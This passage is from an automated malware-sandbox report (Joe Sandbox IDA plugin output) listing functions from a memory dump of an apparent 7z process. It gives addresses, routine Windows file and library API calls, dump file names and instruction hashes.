                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 38E09276C411049ACB08FB94E8527ECB374EF25315F10002AA812631918B242F4DE648
                                                                                                                                                                                                                                                                    Function 00C5150C Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C51511
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: malloc.MSVCRT ref: 00C51A58
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: _CxxThrowException.MSVCRT(?,00C8CFA0), ref: 00C51A72
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3978722251-0
                                                                                                                                                                                                                                                                    • Opcode ID: 3673a8e3692b7453ab9d792727d0d25e367256ba5d1048bb276ebd9525f9582f
                                                                                                                                                                                                                                                                    • Instruction ID: 004fd9d398008627be1cb9ffd1ef12559fade8a7e958c7c87a5cb06ad3436d0e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3673a8e3692b7453ab9d792727d0d25e367256ba5d1048bb276ebd9525f9582f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EBE09271A10115ABCF18FF689806B9D76E5AB44710F00826EF416E32C1EBB05F44A758
                                                                                                                                                                                                                                                                    Function 00C689EE Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C689F3
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: malloc.MSVCRT ref: 00C51A58
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: _CxxThrowException.MSVCRT(?,00C8CFA0), ref: 00C51A72
                                                                                                                                                                                                                                                                      • Part of subcall function 00C68A69: __EH_prolog.LIBCMT ref: 00C68A6E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3744649731-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2c4f2269b975b296dff112937f03584752ef3b14acb8efa2c65645444b83cfe3
                                                                                                                                                                                                                                                                    • Instruction ID: 7ba05caf6f5eb1cd5206828d6155d80280b6ba0a5b72b785b608a610d5905d67
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2c4f2269b975b296dff112937f03584752ef3b14acb8efa2c65645444b83cfe3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F9E09271A10515AFCF18FFA8980279D76E5AB04310F10422EF416E22C2EFB44E04A758
                                                                                                                                                                                                                                                                    Function 00C7806F Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 63e49ad67db4d581e78e5035e20968464069fd94693e79a75fdc2cc26cfc50d1
                                                                                                                                                                                                                                                                    • Instruction ID: 5b6e52ef5cccec89944bbefdba4b7ac890e3131270f0dbfddaba6ee4ad0421d7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 63e49ad67db4d581e78e5035e20968464069fd94693e79a75fdc2cc26cfc50d1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6FE0E572610244EFCB059F59D845E9EBBB4FB45364F10806AF016AA220C7769A10DB64
                                                                                                                                                                                                                                                                    Function 00C5695E Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00C56981
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileWrite
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3934441357-0
                                                                                                                                                                                                                                                                    • Opcode ID: e61f035e10a49b650154108ba769af3d76f510ab71acab14cd7ae1c65f3bf6b7
                                                                                                                                                                                                                                                                    • Instruction ID: bc22a7ecabbb4262707f28a04a6a1698026d318b8037a922b6e8a018ae825386
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e61f035e10a49b650154108ba769af3d76f510ab71acab14cd7ae1c65f3bf6b7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 94E0E575600208FFCB01CFA5DC01F8E7BBABB08755F20C06AF9199A260D739AA54DF54
                                                                                                                                                                                                                                                                    Function 00C780B3 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 17aa5eaa1b9291ade6535d6054429b140cbacadf95655559341971c7834bf6fd
                                                                                                                                                                                                                                                                    • Instruction ID: 769508f14bd7b303711d2b37727a49f2d77de278d0cdfbfccd277357ef90b9c6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 17aa5eaa1b9291ade6535d6054429b140cbacadf95655559341971c7834bf6fd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 15E01A72614104EFC704EF58D845F9DB7B8FB45714F10805AF01697220C7B2A904DB68
                                                                                                                                                                                                                                                                    Function 00C56852 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • ReadFile.KERNELBASE(000000FF,?,?,00000000,00000000,000000FF,?,00C56594,00000000,00004000,00000000,000000FF,?,?,?), ref: 00C56868
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2738559852-0
                                                                                                                                                                                                                                                                    • Opcode ID: 791a96b044d0fdc6ac06bd77780e3cbd4ce22b7f0c61c5ad3cb35d3804fc32a9
                                                                                                                                                                                                                                                                    • Instruction ID: 011d61ad0ed554245e55da9d9ab02adbf87ed50ef7aa9682c50dbb070cd552c3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 791a96b044d0fdc6ac06bd77780e3cbd4ce22b7f0c61c5ad3cb35d3804fc32a9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 76E0EC75200208FBCB01CF90CC01F8E7BBABB49754F208058E905A6160C775AA14EB54
                                                                                                                                                                                                                                                                    Function 00C5597C Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • FindNextFileW.KERNELBASE(000000FF,?), ref: 00C5598E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileFindNext
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2029273394-0
                                                                                                                                                                                                                                                                    • Opcode ID: cdfe7153cab96115a2b8a701b1b4a8d43a93db1d6c25ab90d098ea3ec35a38f3
                                                                                                                                                                                                                                                                    • Instruction ID: a2414cedb413127e6869ce8abe49b03a5caf27ba660080f944add2f9f465499f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cdfe7153cab96115a2b8a701b1b4a8d43a93db1d6c25ab90d098ea3ec35a38f3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 60D01234110508DBCB10AF20CC99AAE7768AB9135AF004064990587050D6399A8F9BAD
                                                                                                                                                                                                                                                                    Function 00C55849 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • FindClose.KERNELBASE(00000000,?,00C55881), ref: 00C55854
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseFind
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1863332320-0
                                                                                                                                                                                                                                                                    • Opcode ID: 716ae66be24f914104497a5ed223b6ddadc0548b8cbb7b734bbc48074d6d906e
                                                                                                                                                                                                                                                                    • Instruction ID: 0209cc172ccc947110defbe444648d7eb4640d0cefd38f24b693fe3a33d403bc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 716ae66be24f914104497a5ed223b6ddadc0548b8cbb7b734bbc48074d6d906e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CDD01235154521868B645E7D7848AC533D85E127713650799F4B1C31E0D7608CCB4754
                                                                                                                                                                                                                                                                    Function 00C5498E Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNELBASE(00000000,00000004,00C549E0,?,00C6BA56,00000000,00000000,?,00000000,00000000,?,?,00C6BDA8,00000000,00000000,?), ref: 00C54998
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeLibrary
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3664257935-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5e41b7f19098881589896d6195d89fc2fcf81b030bf0859ee4f17b3df0f44392
                                                                                                                                                                                                                                                                    • Instruction ID: 47d64fad6819c7ff6cf8f3da9df907e56fdbbd311b811a63308b71d4a935f573
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5e41b7f19098881589896d6195d89fc2fcf81b030bf0859ee4f17b3df0f44392
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0BD0123621422147DF646E2AB8057D723DCAF41726F114459E890C3144D760CCCA4798
                                                                                                                                                                                                                                                                    Function 00C51D43 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-0
                                                                                                                                                                                                                                                                    • Opcode ID: 44b9e16272c132e469c2ce99b9c19b7bca84e74290ae49043272e644eedeb431
                                                                                                                                                                                                                                                                    • Instruction ID: c7f0d1cbce89fb3cb4a01559dcc617c57fe35c83fd62d6ee69162d936cd53f1b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 44b9e16272c132e469c2ce99b9c19b7bca84e74290ae49043272e644eedeb431
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CAD0C73610C2119FD3159B05E40595EF7A6FFD8731725441FF844532648F315856DA65
                                                                                                                                                                                                                                                                    Function 00C549D8 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5498E: FreeLibrary.KERNELBASE(00000000,00000004,00C549E0,?,00C6BA56,00000000,00000000,?,00000000,00000000,?,?,00C6BDA8,00000000,00000000,?), ref: 00C54998
                                                                                                                                                                                                                                                                    • LoadLibraryW.KERNELBASE(00000000,?,00C6BA56,00000000,00000000,?,00000000,00000000,?,?,00C6BDA8,00000000,00000000,?), ref: 00C549E8
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Library$FreeLoad
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 534179979-0
                                                                                                                                                                                                                                                                    • Opcode ID: 07c2709cb99a57c69ac3ddc95596df0fb7a325c764a633e42719a8ae76e55a34
                                                                                                                                                                                                                                                                    • Instruction ID: d8578917b3c478bb9c9ca6a948aac090c48819793132fc28ab72ff99f8369c0c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 07c2709cb99a57c69ac3ddc95596df0fb7a325c764a633e42719a8ae76e55a34
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D2C01276004223578B291F38A8125CF67DD5F15355705492E7885D3161DF31CCDDAB58
                                                                                                                                                                                                                                                                    Function 00C5265F Relevance: 1.3, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(013329AD,00C8D068), ref: 00C52681
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 432778473-0
                                                                                                                                                                                                                                                                    • Opcode ID: e5dba33dfefb96227b51c2707033a820015a5dcbf15c12457112c6b880cd1f63
                                                                                                                                                                                                                                                                    • Instruction ID: b4fde0b9378d7b3a2d1be15d2d13d00eec563bd8e24572cc74d12484470ff9d5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e5dba33dfefb96227b51c2707033a820015a5dcbf15c12457112c6b880cd1f63
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 12F0657B105305AAD710AF85E8C5A86B7ECFB88365B21403AFD4887141D63195899768
                                                                                                                                                                                                                                                                    Function 00C5D548 Relevance: 1.3, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000,00000000,00C5D4D1,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D556
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                                                                                                                    • Opcode ID: ed8c1160b4b7bffe736c22e49615fb9a24d6b94d299e89a6ed099fa1249e4d5b
                                                                                                                                                                                                                                                                    • Instruction ID: b794b5732c84e2478c5eb2617c96329c02d4d3fadb0775574d1cee2c75c6fa3b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ed8c1160b4b7bffe736c22e49615fb9a24d6b94d299e89a6ed099fa1249e4d5b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F4D0127552431187DB705E2DB8047D623DD6F10326B554459FCA1CB240EB65CDCAD668
                                                                                                                                                                                                                                                                    Function 00C56415 Relevance: 1.3, APIs: 1, Instructions: 16COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000,?,00C56378,000000FF,00000009,?,?,00000001), ref: 00C56420
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9ed360f665563418446d58f7ee1bf5ea87a612885f60ba95645506f16bddfc45
                                                                                                                                                                                                                                                                    • Instruction ID: 2fb7a1b1feadf690b052f289a3bf5b6a1bc12215d50cda5192eec0b3967016a8
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9ed360f665563418446d58f7ee1bf5ea87a612885f60ba95645506f16bddfc45
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D7D01235114121478E645F3C78446D637D85A123313B15B49F8B1C31E4D761CDCB8668

                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                    Function 00C5664E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • DeviceIoControl.KERNEL32(00000000,00074004,00000000,00000000,?,00000020,?,00000000), ref: 00C56698
